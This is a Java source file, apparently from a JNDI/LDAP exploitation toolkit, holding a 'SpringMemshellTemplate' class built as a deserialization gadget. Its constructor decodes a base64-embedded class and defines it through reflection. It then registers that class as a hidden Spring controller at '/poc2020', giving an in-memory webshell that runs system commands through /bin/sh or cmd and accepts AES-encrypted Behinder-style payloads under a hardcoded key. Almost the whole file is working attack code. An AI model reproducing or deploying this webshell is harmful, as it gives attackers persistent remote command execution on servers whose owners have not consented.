package com.feihong.ldap.template;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.context.support.XmlWebApplicationContext;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.misc.BASE64Decoder;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;
import java.util.Set;

public class SpringMemshellTemplate extends AbstractTranslet {
    private String urlPattern = "/poc2020";

    public SpringMemshellTemplate(){
        System.out.println("[+] Add Dynamic Controller");

        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Class clazz = null;
        try{
            clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicControllerTemplate");
        }catch(ClassNotFoundException e){
            try{
                BASE64Decoder base64Decoder = new BASE64Decoder();
                String codeClass = "yv66vgAAADIBVgoAQQChCACiCQBbAKMIAKQJAFsApQgApgkAWwCnCgBbAKgJAKkAqggAqwoArACtCACuCwCvALAIALEKABMAsgoAEwCzCQC0ALUIALYHALcIALgIALkIAG4IALoHALsKALwAvQoAvAC+CgC/AMAKABgAwQgAwgoAGADDCgAYAMQLAMUAxgoAxwCtCwCvAMgLAK8AyQgAygsArwDLCADMCwDNAM4IAM8KANAA0QcA0gcA0woAKwChCwDNANQKACsA1QgA1goAKwDXCgArANgKABMA2QoAKgDaCgDQANsHANwKADUAoQsArwDdCgDeAN8KADUA4AoA0ADhCQBbAOIIAOMHAOQHAHMHAOUKAD0A5gcA5woA6ADpCgDoAOoKAOsA7AoAPQDtCADuBwDvBwDwBwDxCgBJAPIIAPMKAD8A9AcA9QoAQQD2CQD3APgHAPkKAD0A+ggA+woA6wD8CgD3AP0HAP4KAFUA8gcA/woAVwDyBwEACgBZAPIHAQEBABJteUNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAEGJhc2ljQ21kU2hlbGxQd2QBABJMamF2YS9sYW5nL1N0cmluZzsBABNiZWhpbmRlclNoZWxsSGVhZGVyAQAQYmVoaW5kZXJTaGVsbFB3ZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0NvbnRyb2xsZXJUZW1wbGF0ZTsBAAVsb2dpbgEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAA2NtZAEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwC3BwBsBwDxAQAKRXhjZXB0aW9ucwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL3BvYzIwMjABAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAAVjbGF6egEABm1ldGhvZAEABGNvZGUBAAVieXRlcwEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcBAQcA5QcA9QcA5AcBAgcA+QcA/gcA/wcBAAEAClNvdXJjZUZpbGUBAB5EeW5hbWljQ29udHJvbGxlclRlbXBsYXRlLmphdmEBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7DABiAGMBAARwYXNzDABeAF8BAAxYLU9wdGlvbnMtQWkMAGAAXwEAEGU0NWUzMjlmZWI1ZDkyNWIMAGEAXwwAiABjBwEDDAEEAQUBACFbK10gRHluYW1pYyBDb250cm9sbGVyIHNheXMgaGVsbG8HAQYMAQcBCAEABHR5cGUHAQkMAQoBCwEABWJhc2ljDADuAQwMAQ0BDgcBDwwBEABfAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwERDAESARMMARQBFQcBFgwBFwEYDABiARkBAAJcQQwBGgEbDAEcAR0HAR4MAR8BIAcBIQwBIgELDAEjAR0BAARQT1NUDAEkASUBAAF1BwEmDAEnASgBAANBRVMHASkMASoBKwEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBLAEtDAEuAS8BAAAMAS4BMAwBMQEdDAEyATMMAGIBNAwBNQE2AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBNwE4BwE5DAE6AR0MATsBPAwBPQE+DABcAF0BAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBPwFAAQAQamF2YS9sYW5nL09iamVjdAcBQQwBQgFDDAFEAUUHAQIMAUYBRwwBSAFJAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBSgBjAQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFLAUwBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgwBTQFOBwFPDAFQAF0BAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uDAFRAU4BAxx5djY2dmdBQUFESUFHd29BQlFBV0J3QVhDZ0FDQUJZS0FBSUFHQWNBR1FFQUJqeHBibWwwUGdFQUdpaE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3lsV0FRQUVRMjlrWlFFQUQweHBibVZPZFcxaVpYSlVZV0pzWlFFQUVreHZZMkZzVm1GeWFXRmliR1ZVWVdKc1pRRUFCSFJvYVhNQkFDbE1ZMjl0TDJabGFXaHZibWN2YkdSaGNDOTBaVzF3YkdGMFpTOU5lVU5zWVhOelRHOWhaR1Z5T3dFQUFXTUJBQmRNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU93RUFDMlJsWm1sdVpVTnNZWE56QVFBc0tGdENUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBVmllWFJsY3dFQUFsdENBUUFMWTJ4aGMzTk1iMkZrWlhJQkFBcFRiM1Z5WTJWR2FXeGxBUUFTVFhsRGJHRnpjMHh2WVdSbGNpNXFZWFpoREFBR0FBY0JBQ2RqYjIwdlptVnBhRzl1Wnk5c1pHRndMM1JsYlhCc1lYUmxMMDE1UTJ4aGMzTk1iMkZrWlhJTUFBOEFHZ0VBRldwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNnRUFGeWhiUWtsSktVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FDRUFBZ0FGQUFBQUFBQUNBQUFBQmdBSEFBRUFDQUFBQURvQUFnQUNBQUFBQmlvcnR3QUJzUUFBQUFJQUNRQUFBQVlBQVFBQUFBUUFDZ0FBQUJZQUFnQUFBQVlBQ3dBTUFBQUFBQUFHQUEwQURnQUJBQWtBRHdBUUFBRUFDQUFBQUVRQUJBQUNBQUFBRUxzQUFsa3J0d0FES2dNcXZyWUFCTEFBQUFBQ0FBa0FBQUFHQUFFQUFBQUlBQW9BQUFBV0FBSUFBQUFRQUJFQUVnQUFBQUFBRUFBVEFBNEFBUUFCQUJRQUFBQUNBQlU9DAFSAVMMAVQBVQEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BADNjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL0R5bmFtaWNDb250cm9sbGVyVGVtcGxhdGUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAdpc0VtcHR5AQADKClaAQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7ACEAWwBBAAAABAACAFwAXQAAAAIAXgBfAAAAAgBgAF8AAAACAGEAXwAAAAMAAQBiAGMAAQBkAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBlAAAAGgAGAAAAGgAEABYACgAXABAAGAAWABsAGgAcAGYAAAAMAAEAAAAbAGcAaAAAAAEAaQBqAAMAZAAAArEABwAJAAABibIACRIKtgALKxIMuQANAgDGAIwrEgy5AA0CABIOtgAPmQB8Kyq0AAO5AA0CAE4txgBqLbYAEJoAYwE6BLIAERIStgAPmQAaBr0AE1kDEhRTWQQSFVNZBS1TOgSnABcGvQATWQMSFlNZBBIXU1kFLVM6BLsAGFm4ABkZBLYAGrYAG7cAHBIdtgAetgAfOgUsuQAgAQAZBbYAIacA7ysqtAAFuQAiAgDGAOIruQAjAQASJLYAD5kAzCq0AAdOK7kAJQEAEiYtuQAnAwASKLgAKToEGQQFuwAqWbsAK1m3ACwruQAlAQASJrkALQIAtgAuEi+2ADC2ADG2ADISKLcAM7YANBkEuwA1WbcANiu5ADcBALYAOLYAObYAOjoFKrQAOxI8Bb0APVkDEj5TWQQSP1O2AEABBb0AQVkDGQVTWQS4AEK2AENTtgBEwAA9OgYZBrYARToHGQYSRgW9AD1ZAxJHU1kEEkhTtgBAOggZCBkHBb0AQVkDK1NZBCxTtgBEV6cACE4ttgBKsQABAKkBgAGDAEkAAwBlAAAAZgAZAAAAIAAIACIAIwAkAC4AJQA5ACYAPAAnAEcAKABeACoAcgAsAI4ALQCZAC8AqQAyALcAMwC8ADQAygA1ANEANgECADcBHAA4AU4AOQFVADoBbAA7AYAAPwGDAD0BhAA+AYgAQQBmAAAAhAANADwAXQBrAGwABACOAAsAbQBfAAUALgBrAG4AXwADALwAxABvAF8AAwDRAK8AcABxAAQBHABkAHIAcwAFAU4AMgB0AF0ABgFVACsAdQB2AAcBbAAUAHcAeAAIAYQABAB5AHoAAwAAAYkAZwBoAAAAAAGJAHsAfAABAAABiQB9AH4AAgB/AAAAGAAH/QBeBwCABwCBE/kAJgL7AONCBwCCBACDAAAABAABAFcAhAAAAA4AAQCFAAEAhlsAAXMAhwACAIgAYwABAGQAAAIDAAcABwAAAKm4AEK2AENMKisSS7YATLUAO6cAf00rtgBOTgE6BBkExwAzLRJBpQAtLRI8Br0APVkDEj5TWQSyAE9TWQWyAE9TtgBAOgSn/9g6BS22AFFOp//OElI6BbsANVm3ADYZBbYAOToGGQQEtgBTKhkEKwa9AEFZAxkGU1kEA7gAVFNZBRkGvrgAVFO2AETAAD21ADunABhMK7YAVqcAEEwrtgBYpwAITCu2AFqxAAUABwARABQATQAoAEUASABQAAAAkACTAFUAAACQAJsAVwAAAJAAowBZAAMAZQAAAGoAGgAAAEUABwBHABEAVwAUAEgAFQBJABoASgAdAEsAKABNAEUAUABIAE4ASgBPAE8AUABSAFMAVgBUAGQAVQBqAFYAkABeAJMAWACUAFkAmABeAJsAWgCcAFsAoABeAKMAXACkAF0AqABfAGYAAABwAAsASgAFAIkAigAFABoAdgCLAF0AAwAdAHMAjAB4AAQAVgA6AI0AXwAFAGQALACOAHMABgAVAHsAeQCPAAIABwCJAJAAkQABAJQABAB5AJIAAQCcAAQAeQCTAAEApAAEAHkAlAABAAAAqQBnAGgAAAB/AAAAOgAJ/wAUAAIHAJUHAJYAAQcAl/4ACAcAlwcAmAcAmWoHAJoJ/wA9AAEHAJUAAEIHAJtHBwCcRwcAnQQAAgCeAAAAAgCfAIQAAAAGAAEAoAAA";
                byte[] bytes = base64Decoder.decodeBuffer(codeClass);

                Method method = null;
                Class clz = classLoader.getClass();
                while(method == null && clz != Object.class ){
                    try{
                        method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    }catch(NoSuchMethodException ex){
                        clz = clz.getSuperclass();
                    }
                }
                method.setAccessible(true);
                clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
            }catch (Exception ex){
                //continue;
            }
        }

        try{
            //参考 https://www.anquanke.com/post/id/198886

            XmlWebApplicationContext context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            if(context == null) throw new Exception();

            try{
                // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
                context.getBeanFactory().registerSingleton("dynamicController", clazz.newInstance());
            }catch(Exception e){
                e.printStackTrace();
            }

            try{
                Object requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
                // 防止重复添加，重复添加会导致不可用
                Object obj = requestMappingHandlerMapping.getClass().getMethod("getHandlerMethods").invoke(requestMappingHandlerMapping);
                Method method = obj.getClass().getMethod("keySet");
                method.setAccessible(true);
                Set mappingInfos = (Set)method.invoke(obj);
                for(Object requestMappingInfo : mappingInfos){
                    if(requestMappingInfo.toString().contains(urlPattern)){
                        throw new Exception("duplicated exception");
                    }
                }
                method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("detectHandlerMethods", Object.class);
                method.setAccessible(true);
                method.invoke(requestMappingHandlerMapping, "dynamicController");
            }catch(Exception e){
                e.printStackTrace();
            }

            try{
                // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
                Object dh = context.getBean(Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"));
                // 3. 反射获得 registerHandler Method
                Method method = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping").getDeclaredMethod("registerHandler", String.class, Object.class);
                method.setAccessible(true);
                // 4. 将 dynamicController 和 URL 注册到 handlerMap 中
                method.invoke(dh, urlPattern, "dynamicController");
            }catch(Exception e){
                e.printStackTrace();
            }
        }catch(Exception e){
            //参考 https://my.oschina.net/u/4587690/blog/4649301
            org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
            HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
            WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(httprequest.getServletContext());

            try{
                RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
                Method method = clazz.getDeclaredMethod("login", HttpServletRequest.class, HttpServletResponse.class);
                PatternsRequestCondition url = new PatternsRequestCondition(urlPattern);
                RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
                RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
                r.registerMapping(info, clazz.newInstance(), method);
            }catch(Exception e1){
                e1.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
